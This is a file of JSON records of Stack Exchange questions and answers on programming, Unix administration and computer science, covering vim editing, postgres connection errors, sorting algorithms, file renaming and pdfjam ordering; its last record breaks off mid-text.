{  "id": "_vi.6651"  , "question": "I have thissubject { }it 'delete user' do  expect(BlaBla).to eq ''  MyModel.my_methodendAnd I want thissubject { MyModel.my_method }it 'delete user' do  expect(BlaBla).to eq ''end1. First tryIf I do dd and then past it inside my bracket with i<CTRL>r I will get something likesubject {   MyModel.my_method}And I have to go in insert mode to past the text and I have to clean some extra space and joins line. 2. Second tryI go on the line wy$ then _dd to remove the line without save it. Then go after the first { : ?{<ENTER>lpa<space>What will be a better motion to cut only the content of the line store into a register remove the line jump below past inside brackets?"  , "title": "Easiest way to cut line content and past it inside { }"  , "tags": "cut copy paste"  , "accepted_answer": "If your problem is to repeat the operation in an efficient way you could use a macro:First put { in your search register with /{Then record your macro: qq^DNp``ddqqq record the macro in the q registerma put a mark on the line you'll delete^ got to the first word of the line (ie. MyModel)D delete the end of the line and put it in the unnamed registerN go to the previous occurence of the search register ({)p put the deleted text between the brackets'a go to the line you marked beforedddelete the lineq stop the macro recordingThen you'll simply have to go to the next occurence of MyModel.my_method and use @q to repeate the operation."  } 
{  "id": "_unix.189625"  , "question": "Is the following scenario feasible:A laptop repair workshop currently using multiple, physical hard disk caddies containing various Windows 7 / 8 recovery images for repairing various laptop models wishes to replace the physical caddy system with a single Linux server.The server would host these different recovery images and allow multiple technicians to simultaneously access whichever recovery image they need to recover laptops with faulty Windows installations.My research so far into Linux server options with DHCP, TFTP, PXE capability and tools such as CloneZilla, FOG, CrucibleWDS, seem to describe a scenario in which a single Windows image is being deployed to multiple machines within a company, as opposed to providing access to multiple windows recovery images for multiple laptop models that are simultaneously accessible by technicians via a PXE network boot.Can this be done?Many thanks in advance for words of wisdom."  , "title": "Multiple Windows recovery image deployment via Linux PXE server?"  , "tags": "linux;windows;pxe;deployment"  } 
{  "id": "_webapps.26048"  , "question": "There doesn't seem to be any official documentation on Tumblr or Facebook as to how to add a Facebook like button within posts. The only documentation I see is http://www.tumblr.com/docs/en/custom_themeshttps://developers.facebook.com/docs/reference/plugins/like/Using the second link I can place in an individual post but based on the first link, I can only customize everything in one so I would need to get this HTML5 version<div class=fb-like data-href=http://myusername.tumblr.com/post/1234567 data-send=true data-width=450 data-show-faces=true></div>(because Tumblr uses <!DOCTYPE html>)Done dynamically for each post.Also for the Open Graph tags Tumblr seems to be automatically inserting from server side their own meta tags. So which tags should I be adding from?Would someone care to explain in detail a fool-proof solution for canonical purposes?"  , "title": "How to Add a Facebook Like Button to Tumblr"  , "tags": "facebook;tumblr"  } 
{  "id": "_unix.324546"  , "question": "I am running Ubuntu 16.04 operating system and have recently installed postgres using the instructions given in https://www.digitalocean.com/community/tutorials/how-to-install-and-use-postgresql-on-ubuntu-16-04.However, when I tried to use postgres using snowbell@snowbell-Aspire-4738Z:/var/www$ sudo -i -u postgrespostgres@snowbell-Aspire-4738Z:~$ psqlI got the following error messagepsql: could not connect to server: No such file or directoryIs the server running locally and acceptingconnections on Unix domain socket /var/run/postgresql/.s.PGSQL.5432?postgres@snowbell-Aspire-4738Z:~$ sudo -u postgres psqlpostgres is not in the sudoers file.  This incident will be reported.In order to get away with this error, I tried using snowbell@snowbell-Aspire-4738Z:~$ sudo -u postgres psql -p 5432 -h 127.0.0.1As a result, I got the following errorpsql: could not connect to server: Connection refusedIs the server running on host 127.0.0.1 and acceptingTCP/IP connections on port 5432?Any clues?The output is as follows Here is the Sample_error file blissini"  , "title": "Trouble using postgres sql in ubuntu 16.04"  , "tags": "ubuntu;postgresql"  } 
{  "id": "_cs.66044"  , "question": "In the data link layer, the Sliding Window is used for flow control.There are two link utilization formula that can be use. They are :U = 1, for N > 2a + 1ORU = N/(1+2a), for N < 2a + 1In both formula, N denotes the window size and a = Propagation time / transmission timeI am not really understanding which formula to use in what situation although the condition is specified. What does 2a+1 actually mean? Can anyone help me to understand it in  simple term. Thanks!"  , "title": "Data link layer Sliding Window utilization formula query"  , "tags": "computer networks;communication protocols"  } 
{  "id": "_unix.342351"  , "question": "I have a debian 8.5 computer. In order to create new session I run commandstartx. With this command a new session is created. How can I via command close this session and to return to previous one?"  , "title": "How to close XServer session via command"  , "tags": "debian;kill;x server;session;logout"  , "accepted_answer": "Kill the master process of the X session. The master process is the one that started out in life as the child of xinit, i.e. ~/.xinitrc (which is typically a shell script). Usually the last thing .xinitrc does is to call a window manager or a session manager (e.g. twm, fvwm, gnome-session, ).To remember the process ID, you can put it in an environment variable. For example, I have this in my .xinitrc:export XSESSION_PID=$$exec my-favorite-window-managerThis way, I can exit by using my-favorite-window-manager's exit command, or by running kill $XSESSION_PID from any shell in this X session.Alternatively, if you're modern enough to run D-Bus and a D-Bus aware window/session manager, you can let it know that you want to log out by sending it a command over D-Bus. See Universal way to logout from terminal via dbus"  } 
{  "id": "_softwareengineering.216326"  , "question": "A little rephrased, in the form of a game, real-life problem:Suppose there is a set of elements {1, 2, ..., n}. Player A has chosen a single permutation of this set. Player B wants to find out the order of the elements by asking questions of form Is X earlier in the permutation than Y?, where X and Y are elements of the set.Assuming B wants to minimize the amount of questions, how many times would he have to ask, and what would be the algorithm?"  , "title": "Finding the order of a set's elements"  , "tags": "algorithms"  , "accepted_answer": "This is exactly similar to a comparison based sorting problem. That is, we have all the elements in a scrambled order and wants to sort them using only comparisons (e.g. is X < Y)As such, any comparison based sort algorithm will work. The performance of these varies, but we know for sure that we cannot get a running time below O(n*log(n)) for comparison based sorting. In many actual sorting scenarios, we can actually do better - but in this case we can only rely on comparisons, hence this is a hard limit on the running time.Several algorithms exists for this problem:                  Best case      Avg. case      Worst case     Worst case memory usageQuicksort         O(n log(n))    O(n log(n))    O(n^2)         O(n)Mergesort         O(n log(n))    O(n log(n))    O(n log(n))    O(n)Heapsort          O(n log(n))    O(n log(n))    O(n log(n))    O(1)Bubble Sort       O(n)           O(n^2)         O(n^2)         O(1)Insertion Sort    O(n)           O(n^2)         O(n^2)         O(1)Selection Sort    O(n^2)         O(n^2)         O(n^2)         O(1)Apart from running time and memory usage, it should be mentioned that Insertion Sort is fastest for small arrays (optimized versions of mergesort might switch to Insertion Sort when arrays get small). Selection sort uses the smallest amount of actual swaps - which might be fast on systems where such swaps are expensive.Some of the algorithms are unstable, meaning that equal elements are not guaranteed to come out in the order that we fetch them - however, this should not make any difference in this case, as there is no initial order in a set.Finally, note that Quicksort has a worse worst case running time than Mergesort and Heapsort. However, for most inputs Quicksort often proves to be as fast or faster than these, due to the way you can actually implement the algorithm."  } 
{  "id": "_unix.154771"  , "question": "I have hundreds of file andI want to remove last 7 characters from the filename but keeping its extension.Old name:abc_xyz12_4567.txtabcde_xyz12_4567.txtNew name:abc_xyz.txtabcde_xyz.txt"  , "title": "rename hundreds of file by removing last few characters"  , "tags": "rename;filenames"  , "accepted_answer": "tryls | awk -F. '{printf mv %s %s.%s\\n,$0,substr($1,1,length($1)-7),$2 ;}' | kshyou can usels | awk -F. '{printf mv %s %s.%s\\n,$0,substr($1,1,length($1)-7),$2 ;}'to have a preview."  } 
{  "id": "_unix.146938"  , "question": "I'm on Ubuntu 14.04. For a few weeks now a small window keeps popping up randomly, grabbing my keyboard and asking me to enter the passphrase for my ssh key. The Window's title says OpenSSH, and it states the path of the private key file it wants to unlock.Of course, I don't do it, because I don't know where this request is coming from. Sometimes, after I hit cancel, a warning window pops up, saying that something might be eavesdropping on my session, because the keyboard could not be grabbed.This sounds very suspicious to me. I can't remember doing anything with ssh that might cause this behavior. How would I go about finding out where these ssh key requests are coming from and how to stop them?"  , "title": "A window asking me to enter my ssh passphrase is popping up randomly. Why?"  , "tags": "ubuntu;ssh;security;malware"  } 
{  "id": "_codereview.106883"  , "question": "From my C university book 'The C Programming Language' by Brain W.Kernighan and Dennis M.Ritchie. Excercise 1 - 20.Write a program detab that replaces tabs in the input with the proper number of      blanks to space to the next tab stop.   Assume a fixed set of tab stops, say every      n columns. Should n be a variable or a symbolic parameter?#include <stdio.h>#define TABSTOP 8#define MAXLINE 1000int getline(char s[], int len);int main(){    char line[MAXLINE];    while ((getline(line, MAXLINE) > 0))    {        int i, j, count;        count = 0;        for (i = 0; line[i] != '\\0'; ++i)        {            if (line[i] == '\\t')            {                for (j = 0; j < TABSTOP - count; ++j)                {                    putchar(' ');                }                count = 0;            }            else            {                ++count;                if (count >= TABSTOP)                    count = 0;                putchar(line[i]);            }        }    }    system(pause);    return 0;}int getline(char line[], int len){    int c, i;    for (i = 0; i < len - 1 && (c = getchar()) != EOF && c != '\\n'; ++i)        line[i] = c;    if (c == '\\n')    {        line[i] = c;        ++i;    }    line[i] = '\\0';    return i;}My concerns are that I didn't get the question right, did they mean that every time I see a tab in the input I need to put the corresponding amount of spaces instead of tabs?Are there any flaws or bugs in the code?I didn't understood what is a 'symbolic parameter', did they mean symbolic constant?By 'n' did they mean what I did with the 'TABSTOP' symbolic constant?"  , "title": "Program to replace tabs with blanks"  , "tags": "c"  } 
{  "id": "_opensource.365"  , "question": "Let's say I have a blog post, and I want to release it under a Creative Commons license. I later publish this post to my blog.How do I apply a license to my blogpost?Do I need to state how it is licensed at the bottom of the post?"  , "title": "How can I license my content in a blogpost?"  , "tags": "licensing;creative commons"  , "accepted_answer": "Generally you just state that you put the content under a license.That includes:defining the scope: which content is affecteddefining the license: which license is usedYou also should do this if necessary:if the license demands attribution: naming the contributor(s)if the work is derived from other works: referencing the original works in the proper wayIt may be helpful to put links as appropriate, for instance to the license. Some licenses have formulated a way to put something under this license, in this case you should follow the lead.For Creative Commons you have an interactive license chooser, which allows you to enter all relevant data and creates an proper HTML or text-fragment to include.If you put something under an open source license, then you have two goals with declaring your license:You want to enable other people to use the rights you give them over your work through the open source license.You want to secure the rights you keep (for instance the demand that derivates have to released as open source if it is a copyleft license), so you can assert them if needed.For both points it is massively helpful, if your intention is as clear as possible for everyone looking at it. Confusion is not helpful to reach these goals.Some examples:Look at the bottom of the Stackexchange-sites, they state the following:site design / logo  2015 stack exchange inc; user contributions  licensed under cc by-sa 3.0 with attribution requiredSo we know, all user-contributions are cc-by-sa and logo and design are non-free property of stack exchange inc. The cc-by-sa is linked to the license. The attribution required part is actually somewhat bad, as it is unclear and demands in the linked post stuff that isn't covered by cc-by-sa.Another example may be Wikipedia. They set at the bottom of each site this text (focused on the part relevant for the license):Text is available under the Creative Commons Attribution-ShareAlike  License; additional terms may apply.Again, the license is linked."  } 
{  "id": "_softwareengineering.232462"  , "question": "I ran across yet another new term in development methodology, and I haven't been able to find a definition for it.  Specifically, it's called train based development.Here are some examples of where I have seen this term.Earlier this week, I asked our engineering leads and release managers to take the Windows Metro version of Firefox off the trains. (Johnathan Nightingale)https://blog.mozilla.org/futurereleases/2014/03/14/metro/From the Mozilla careers web-site:Experience working with both agile development methodology, and train-based development/QA teams.I have heard of train before and not just in the context of Mozilla.  But I haven't managed to find any good information about it on the net.  When I googled train based software development, I found very little information in the search results. The closest that I could dig out that separates the train from the wagons is that train is about making releases at regular intervals according to a schedule.  But it also seems that train is a sort of concrete QA setup. So, what is train based development?"  , "title": "What is train based development?"  , "tags": "agile;development process;terminology;development methodologies"  , "accepted_answer": "Summing up information from this blog :The analogy is trains are releases, passengers are featuresTrains are planned at regular intervals, without knowing what they will containIf features aren't ready for departure train, they can go on the next oneOnce a version is shipped, the development splits between support/patching shipped code and developing the next trainThis development is mostly aimed at large client softwares, rich in features, and broadly distributed such as a web browser or an OS, where old versions may stay active for a long time."  } 
{  "id": "_cstheory.12305"  , "question": "Back in 2005, Scott Aaronson posted a list of 10 semi-grand challenges for quantum computing theory which contained the following challenge: The power of small-depth quantum circuits. Is $BQP = BPP^{BQNC}$? In other words, can the quantum part of any quantum algorithm be compressed to polylog(n) depth, provided we're willing to do polynomial-time classical postprocessing? (This is known to be true for Shor's algorithm.) If so, building a general-purpose quantum computer would be much easier than is generally believed! Incidentally, it's not hard to give an oracle separation between $BQP$ and $BPP^{BQNC}$, but the question is whether there's any concrete function instantiating such an oracle. I am currently searching for  a Ph.D. project and this is the kind of stuff that interests me. I would certainly like to contribute to solving this problem, if it is still open. That is why I would like to know some of the recent developments on this. Is this still an open problem? What contributions were made in the last decade?"  , "title": "What are the most recent developments in small-depth quantum circuits?"  , "tags": "cc.complexity theory;reference request;quantum computing;open problem"  } 
{  "id": "_webapps.31057"  , "question": "Feedler and Mobile RSS have served me well in browsing my RSS subscription content that I added in Google Reader. What API are these apps using to get the list of subscriptions?I want to create my own app that gets information from my Google Reader account (such as which items have been starred or tagged), but I don't see any reliable API that apps such as Feedler or Mobile RSS would be using. Do those apps pay a license fee to get access? Do they use some unreliable API?"  , "title": "How do popular iPhone RSS clients sync subscriptions with Google Reader?"  , "tags": "google reader"  , "accepted_answer": "Google Reader doesn't have an official API at present. Various sources have suggested that one is/was intended, but seven years on there is still nothing. Currently everyone is using the 'unofficial' API - a reverse engineering of the various AJAX calls the Google Reader web app makes. As with the recent sudden disappearance of the unofficial Google weather API, this means using it runs the risk of unannounced changes or removal.That said, there are plenty of resources available to help with using it such as this fairly comprehensive doco. You should be able to find implementations in most languages as well.  "  } 
{  "id": "_codereview.165338"  , "question": "I have been working on a code to distribute randomly generated points uniformly in a circle of radius 1 centered at origin. I have tried two variations of the code, yet they both yield one major problem.Even for as many as 500 points, there is a particular region (quadrant 1, (0,1) on X Axis, and about (0,0.5) on Y axis) which is literally empty and it seems like that is a gaping hole in an otherwise perfectly well distributed points in the circle (the points seems to be distributed uniformly in the region outside this). The following are the two codes I tried out:#include<iostream>#include<random>#include<time.h>#include<fstream>#define pi atan(1)*4using namespace std;int main(){    int N;  cin>>N;    double X,Y,x,y,a,b;    srand(time(NULL));    for(int i=0; i<N; i++)    {        do            {   X=(double)rand()/(double)RAND_MAX;                    Y=(double)rand()/(double)RAND_MAX;                x=sqrt(X);                    y = 2*(pi)*Y;                       a=x*cos(y);                   b=x*sin(y);            }while(((a*a)+(b*b))<=1);    }    return 0;}The second code is:#include<iostream>#include<random>#include<time.h>#include<fstream>#define pi atan(1)*4using namespace std;int main(){    int N;  cin>>N;    double X,Y,x,y,a,b;    random_device R;        mt19937 G(R());         uniform_real_distribution<double> D(0,1);    for(int i=0; i<N; i++)    {        do            {                   X=D(G);     Y=D(G);     //uniform real distribution in (0,1)                x=sqrt(X);                    y = 2*(pi)*Y;                        a=x*cos(y);                   b=x*sin(y);            }while(((a*a)+(b*b))<=1);    }    return 0;}What is the possible reason for the problem I'm facing? Update: For some reason, all points started getting generated at the boundary if I use ((aa)+(bb)<1) in the do-while loops. The problem I mentioned earlier has ((x * x)+(y * y)<1) which is clearly wrong, my bad. I replaced the do-while of ((a * a)+(b * b)<1) with a goto as followsA:X=D(G);     Y=D(G);     //uniform real distribution in (0,1)x=sqrt(X);    y = 2*(pi)*Y;        a=x*cos(y);   b=x*sin(y);if((a*a)+(b*b)>1){  gota A:   }and now it seems to be working fine. What could be the reason that goto makes it work but do-while does not?  "  , "title": "Distributing points uniformly in a unit circle"  , "tags": "c++;random"  , "accepted_answer": "You can paramterize a circle via a radius and the angle. Therefore, for the  cycle with radius r around (h,w) you can calculate the x and y coordinates with the following equationsx = h + r * sin(theta)y = w + r *cos(theta)Therefore your code should look like thatrandom_device R;    mt19937 G(R());   uniform_real_distribution<double> D(0,360);for(int i=0; i<N; i++) {    angle = D(G);    x = sin(angle);    y = cos(angle);}UPDATEToby is right, that this only adds points to the unit circle, rather than the full area of the circle. The solution is rather simple, add a random variable for the radiusunsigned seed = std::chrono::system_clock::now().time_since_epoch().count();mt19937 rngAngle(seed);  seed = std::chrono::system_clock::now().time_since_epoch().count(); mt19937 rngRadius(seed);   uniform_real_distribution<double> angleDistribution(0,360);uniform_real_distribution<double> radiusDistribution(0,1);for(int i=0; i<N; i++) {    angle  = angleDistribution(rngAngle);    radius = radiusDistribution(rngRadius);    x = radius * sin(angle);    y = radius * cos(angle);}As you have seen, I used some better names too and seeded both random number generators independently with the current time."  } 
{  "id": "_unix.150927"  , "question": "I wondered if there is some easy to use Software-Center in Debian as well. (You can search and install software easily with it.)Software CenterThe program can be used to add and manage repositories as well as Ubuntu Personal Package Archives (PPA) and on Ubuntu, the Ubuntu Software Center also allows users to purchase commercial applications."  , "title": "Is there a Software-Center (like in Ubuntu) in Debian?"  , "tags": "debian;package management"  } 
{  "id": "_codereview.169777"  , "question": "This is part 2 of better end test for square root approximationHere is exercise 1.7 from SICP:Exercise 1.7The good-enough? test used in computing square roots will not be very  effective for finding the square roots of very small numbers. Also, in  real computers, arithmetic operations are almost always performed with  limited precision. This makes our test inadequate for very large  numbers. Explain these statements, with examples showing how the test  fails for small and large numbers. An alternative strategy for  implementing good-enough? is to watch how guess changes from one  iteration to the next and to stop when the change is a very small  fraction of the guess. Design a square-root procedure that uses this  kind of end test. Does this work better for small and large numbers?Changes:Remove wastes (unnecessarily calling improve on the same numbers).Change tolerance to a manageable precision.Please review my code. I used the tolerance 0.00001 based only on some random tests. It is good enough as far as I know. Am I correct?Note: I know that one way to improve this code is to use let. However let is still not introduced in this section of the book, so I didn't use it.(define (sqrt x)  (sqrt-iter 1.0 (improve 1.0 x) x))(define (sqrt-iter prev-guess next-guess x)  (if (good-enough? prev-guess next-guess)      next-guess      (sqrt-iter next-guess (improve next-guess x) x)))(define (improve guess x)  (average guess (/ x guess)))(define (average x y)   (/ (+ x y) 2))(define (good-enough? guess next-guess)  (< (abs (- guess next-guess)) (* guess 0.00001)))(define (square x)  (* x x))"  , "title": "SICP - exercise 1.7 better end test for square root approximation part II"  , "tags": "lisp;scheme;numerical methods;sicp"  } 
{  "id": "_codereview.172482"  , "question": "I am writing a small game and as a part of it I load json config with colors definitions in a format of strings #00ff00.Then I am using this function to convert these strings to SDL Color structure. I am assuming that all color strings are a valid hex colors (between 6-7 chars, depending if # (hash) is provided at the beginning).template <class T>inline unsigned int toIntFromHexString(const T& t) {    unsigned int x;    std::stringstream ss;    ss << std::hex << t;    ss >> x;    return x;}inline SDL_Color stringToSDLColor(std::string colorString) {    SDL_Color color;    if (colorString[0]=='#') {        colorString.erase(0,1);    }    std::string stringR = colorString.substr(0,2);    std::string stringG = colorString.substr(2,2);    std::string stringB = colorString.substr(4,2);    std::string stringA = colorString.substr(6,2);    color.r = toIntFromHexString(stringR);    color.g = toIntFromHexString(stringG);    color.b = toIntFromHexString(stringB);    if (stringA.length()>0) {        color.a = toIntFromHexString(stringA);    }    return color;}What can be adjusted in the implementation?"  , "title": "Convert hex color string to SDL Color"  , "tags": "c++;strings;sdl"  , "accepted_answer": "You could use a regex.See how to identify a given string is hex color format#include <iostream>#include <regex>int main(){    std::string rgbcolor = Fe23aC;    // Not a regex expert - I couldn't get the first pattern to work    //std::regex pattern(#?([0-9a-fA-F]{2}){3});    std::regex pattern(#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2}));    std::smatch match;    if (std::regex_match(rgbcolor, match, pattern))    {        // From kraskevich's comment        auto r = std::stoul(match[1].str(), nullptr, 16);        auto g = std::stoul(match[2].str(), nullptr, 16);        auto b = std::stoul(match[3].str(), nullptr, 16);        std::cout << rgbcolor << : r =  << r << , g =  << g << , b =  <<            b << \\n;    }    else    {        std::cout << rgbcolor <<  is an invalid rgb color\\n;    }}"  } 
{  "id": "_softwareengineering.350434"  , "question": "I made an auto complete text box for an application I'm working on. The text box basically has an associated list that it searches each time you enter something in the box.If you enter something that is not in the box and hit 'OK', the item is added to that associated list in it's sorted position using a binary insert (basically binary search for the correct position).Right now I'm using an ArrayList to store the data and a binary search to search. My question is this: in terms of time complexity, is ArrayList the best option for for this situation? Or am I better off using some kind of binary search tree?"  , "title": "Which data structure is best for an auto complete drop down that learns?"  , "tags": "java;data structures;sorting;search;binary tree"  , "accepted_answer": "What you are looking for is a variant of the Radix Tree, more precisely you want a Prefix Tree.This is a hierarchical data structure, sorted by prefixes of the words (hence the name). The valid words are the leaves.Search time would still match the complexity of the binary search (O(log n)), but insertion and deletion time would also better (O(log n)) compared with the ArrayList (amortized O(n)) because, the ArrayList need to move items around in the underlaying array (or allocate a new one on growth).Insertion and deletion time might or might not be a concern, depending on how often those operation happen.As far as I know there is no standard Prefix Tree in Java. Yet the interface NavigableMap seem to be a good alternative since you can query for the closest item (using the ceiling and floor methods), and TreeMap would have similar complexities being also a tree.You can use a TreeMap<String, Boolean> and just put true and work on the set of keys."  } 
{  "id": "_cstheory.7985"  , "question": "Let $F$ be an $n$SAT formula on $n$ variables (ie a CNF formula containing exclusively total clauses, with all variables in each), and let $c$ be the number of different clauses in $F$ ($c\\le2^n$).It is immediate that $F$ is satisfiable iff $c < 2^n$.It is also easy to show that the number $m$ of models of $F$ is equal to  $2^n - c$. My questions are then:Why #$n$-SAT on $n$ variables is not #P-complete? (Why $n$-SAT on $n$ variables is not NP-complete? - Edit : This question has been answered)"  , "title": "Solving $n$-SAT and #$n$-SAT"  , "tags": "cc.complexity theory;sat;counting complexity"  , "accepted_answer": "Your n-SAT problem is just asking if all possible $2^n$ clauses are present. For this problem to be $NP$-complete, you would have to be able to reduce unsatisfiable instances of SAT to polynomial size unsatisfiable instances of this problem.But an instance of n-SAT is only unsatisfiable when the number of variables is at most $\\log N$, where $N$ is the input length (analogously, when the number of clauses is at least $2^n$, where $n$ is the number of variables). So your polynomial time reduction would have to decrease the number of variables from $N$ to logarithmic in $N$... good luck!UPDATE: You ask why your set isn't NP-complete. Note that this is a loaded question. Your set is in $P$, as established earlier. If $P=NP$ then every nontrivial set $S$ that's in $P$ is actually $NP$-complete (nontrivial means: there is at least one string $x \\in S$ and one string $y \\notin S$). If $P=NP$ we have a polytime SAT algorithm. To reduce SAT to $S$, just call the SAT algorithm and output $x$ if your SAT algorithm says yes, $y$ if it says no. So to prove to you that your $S \\in P$ cannot be $NP$-complete is tantamount to proving $P \\neq NP$! "  } 
{  "id": "_codereview.148538"  , "question": "The problem is: Given two strings, write a method to decide if one is a permutation of the other. I wrote the following code in scala, may I know any other optimization one?def checkpermutation(str1:String, str2:String): Boolean=(str1, str2) match {   case (a,b) if a==b => true   case (a,b) if a.length() !=b.length() =>false   case (a,b) if a.toList.sorted.mkString== a.toList.sorted.mkString => true   case _ =>false }"  , "title": "Check Permutation in Scala"  , "tags": "scala"  , "accepted_answer": "There is no need to use matchers for this check. A logical expression would be enough:def checkpermutation2(a:String, b:String): Boolean = {  def sorted(s: String) = s.sorted.mkString  (a == b) || (a.length == b.length && sorted(a) == sorted(b))} "  } 
{  "id": "_webmaster.68667"  , "question": "When I do a search for the product we sell, my site comes number 2 in Google.  However, this only happens when I am searching while also logged into my Google account.If I start a private browsing session and run exactly the same query (even by copying the URL), my site appears down near number 20.In fact, the order of much of the top 20 sites differs quite significantly?Could it be that my account is linked to the Google Analytics account for our site?  I'm unsure why Google would exhibit this behaviour.  "  , "title": "Google pushes my site to the top when I'm logged into Google"  , "tags": "google;google search"  , "accepted_answer": "For long time now, Google adjusts search results according to your search history. You can read about it here:https://support.google.com/accounts/answer/54068?hl=enTo check ranking you should use a browser with no history, or a ranking tracking software/service."  } 
{  "id": "_datascience.15094"  , "question": "I would like to know how many people can use a single Hadoop cluster at one time? I am asking because I need to figure out whether or not a single 5 or 10 node cluster would be sufficient to host a class of 12 to 24 students. Also, I am wondering if anyone could recommend whether the specifications each for the nodes on a high-end educational-level cluster should be the same as for any other production-level cluster ( ie. 64G-128G RAM, 24TB hard drive space, 8 cores, etc.). I believe that the dataset sizes that students would be using will range between 20MB minimum to about 0.500TB maximum, I imagine that we will ultimately be working on real problems and datasets, even if they are not exactly considered to be big data."  , "title": "How many people can use a single Hadoop cluster at one time?"  , "tags": "data;apache hadoop;education"  } 
{  "id": "_unix.352686"  , "question": "I need correct enumeration for the command pdfjam *.pdf --nup 1x1. There is nothing for the task in the manuals of pdfjam and pdfjoin so I am thinking Bash approach and/or find approach. Example of failed output without correct enumeration where I left out some repetitionls -1 *10 Heart Disorders.pdf11 Red Blood Cell Disorders.pdf...19 Kidney Disorders.pdf1 Cell Injury.pdf20 Lower Urinary Tract and Male Reproductive Disorders.pdf21 Female Reproductive Disorders and Breast Disorders.pdf2 Inflammation and Repair.pdf4 Water.pdf5a Prematurity and intrauterine growth retardation.pdf5 Genetic and Developmental Disorders.pdf6 Environmental Pathology.pdf...9 Vascular Disorders.pdfExpected output12 ...55a... 1011...2021One challenge is the existence of 5... and 5a.... OS: Debian 8.7     "  , "title": "How to enumerate this correctly by Unix tools for pdfjam?"  , "tags": "bash;shell;files;wildcards;sort"  , "accepted_answer": "With zsh:(LC_ALL=C; pdfjam ./*.pdf(n) --nup 1x1)would work. (n) is a zsh glob qualifier for numeric sort. In the C locale, 5a  sorts after 5 G as the space sorts before a. In some other locales, a  could sort before  G because the spaces and case would be ignored in the first pass (and A comes before G)With other shells and on GNU or compatible systems, you could do:printf '%s\\0' ./* | LC_ALL=C sort -t/ -znk2 |  xargs -r0 sh -c 'pdfjam $@ --nup 1x1' shNote that if the list of files is too big, while with the zsh approach, you'd get an error, here, it would run several pdfjam's which is probably not what you want either (and could remain unnoticed).Instead of using LC_ALL=C above to make sure space sorts before a, another approach could be to sort numerically but on ties, to sort lexically (as per the locale rules) on the first field only:printf '%s\\0' [0-9]* | sort -z -k1n -k1,1 |  xargs -r0 sh -c 'pdfjam $@ --nup 1x1' shThat would allow 5a to sort before 5B if case is ignored for sorting in your locale. 05a would still sort before 5 though.With bash 4.4 and above, you can also do:readarray -td '' files < <(  printf '%s\\0' [0-9]* | sort -z -k1n -k1,1)pdfjam ${files[@]} --nup 1x1"  } 
{  "id": "_codereview.124569"  , "question": "Problem:Find all the pairs (a, b) whose product is equal to the sum of all numbers in the sequence [1..n] excluding both a and b.I have made code for one program and need refactoring for code to get execution in less time. I am currently getting 13 sec for 500 number range.def get_correct_array(n) beginning_time = Time.now puts  Begin with #{Time.now} mul = 0 arr = [] last_arr = [](1..n).each do |x| (x+1..n).each do |y|    mul = x * y    result = (1..n).reject {|n| n == x || n == y}.inject(&:+)    if result == mul        arr.concat([x,y])        @x = x        @y = y    end endendlast_arr << arrif arr != [] last_arr << (@x,@y = @y,@x)endif arr == [] []endend_time = Time.nowputs  Ended with #{Time.now}puts Time Elapsed -> #{(end_time - beginning_time)}p last_arrend"  , "title": "Product of 2 numbers equals sum of numbers between them"  , "tags": "performance;ruby"  } 
{  "id": "_codereview.101713"  , "question": "I am attempting to solve the Minimum Path Sum algorithm problem and I have a working solution, however there was an unwritten requirement that the algorithm not exceed an unspecified amount of time for any given matrix of size (m x n).Given a m x n grid filled with non-negative numbers, find a path from top left to bottom right which minimizes the sum of all numbers along its path.Note: You can only move either down or right at any point in time.I know that this is one of these problems perfectly suited to Dynamic Programming, however my brain turns to mush when I start reading up on it.  This is supposed to be possible with two different state arrays capturing sums, but I am not comprehending how to do this accurate such that I am sure I am going the right direction.public class Solution {    int width = 0;    int height = 0;    HashMap<Point, Integer> previousStates = new HashMap<Point, Integer>();    public int minPathSum(int[][] grid) {        previousStates = new HashMap<Point, Integer>();        height = grid.length;        width = grid[0].length;        return func(grid, new Point(0, 0));    }    int func(int[][] grid, Point p) {        if (p.x == (width - 1) && p.y == (height - 1)) {            return grid[p.y][p.x];        }        Point rightMostPoint = new Point(p.x + 1, p.y);        Point downMostPoint = new Point(p.x, p.y + 1);        boolean existingRightPreviousState = previousStates.containsKey(rightMostPoint);        boolean existingDownPreviousState = previousStates.containsKey(downMostPoint);        int rightLowestCost = (existingRightPreviousState) ? previousStates.get(rightMostPoint) : Integer.MAX_VALUE;        int downLowestCost = (existingDownPreviousState) ? previousStates.get(downMostPoint) : Integer.MAX_VALUE;        if (rightMostPoint.x < width && !existingRightPreviousState) {            rightLowestCost = func(grid, rightMostPoint) + grid[p.y][p.x];            previousStates.put(rightMostPoint, rightLowestCost);        }        if (downMostPoint.y < height && !existingDownPreviousState) {            downLowestCost = func(grid, downMostPoint) + grid[p.y][p.x];            previousStates.put(downMostPoint, downLowestCost);        }        return (rightLowestCost <= downLowestCost) ? rightLowestCost : downLowestCost;    }}class Point {    int x; int y;    public Point(int x, int y) { this.x = x; this.y = y; }    public boolean equals(Object obj) {        if (obj == null || !(obj instanceof Point))            return false;        Point p = (Point)obj;        return this.x == p.x && this.y == p.y;    }    public int hashCode() {        return this.x ^ this.y;    }}I start at the top left and recursively work either down or right based on which one returns the lowest sum.  For a given cell in the matrix if I have already encountered it then I already know which Point has the lowest cost in relation to that so I don't have to re-evaluate it.  In a way I am capturing state and using it but it still doesn't seem to meet the performance requirements of this problem.  I am guessing the unspoken requirement is \\$O(n)\\$ complexity and I am unsure in my recursive approach if that is possible.Do you have any suggestions for improvement here so that I can reduce the operational complexity of this algorithm or at least offer me a better explanation of how dynamic programming can be used to solve this?"  , "title": "LeetCode Minimum Path Sum algorithm"  , "tags": "java;algorithm;matrix;dynamic programming"  } 
{  "id": "_unix.290033"  , "question": "Preferably without having to compile it from source. I tried adding repositories I found on Google: CentOS 6 and CentOS 5, but both give me:[ec2-user@ip-10-0-1-202 yum.repos.d]$ sudo yum install parallel -yLoaded plugins: priorities, update-motd, upgrade-helperamzn-main/2016.03                                                                                                                                                                                                  | 2.1 kB     00:00amzn-updates/2016.03                                                                                                                                                                                               | 2.3 kB     00:00952 packages excluded due to repository priority protectionsResolving Dependencies--> Running transaction check---> Package parallel.noarch 0:20160522-1.1 will be installed--> Processing Dependency: /usr/bin/fish for package: parallel-20160522-1.1.noarch--> Processing Dependency: /usr/bin/ksh for package: parallel-20160522-1.1.noarch--> Processing Dependency: /usr/bin/zsh for package: parallel-20160522-1.1.noarch--> Processing Dependency: /bin/pdksh for package: parallel-20160522-1.1.noarch--> Processing Dependency: /usr/bin/ksh for package: parallel-20160522-1.1.noarch--> Processing Dependency: /usr/bin/zsh for package: parallel-20160522-1.1.noarch--> Processing Dependency: /usr/bin/fish for package: 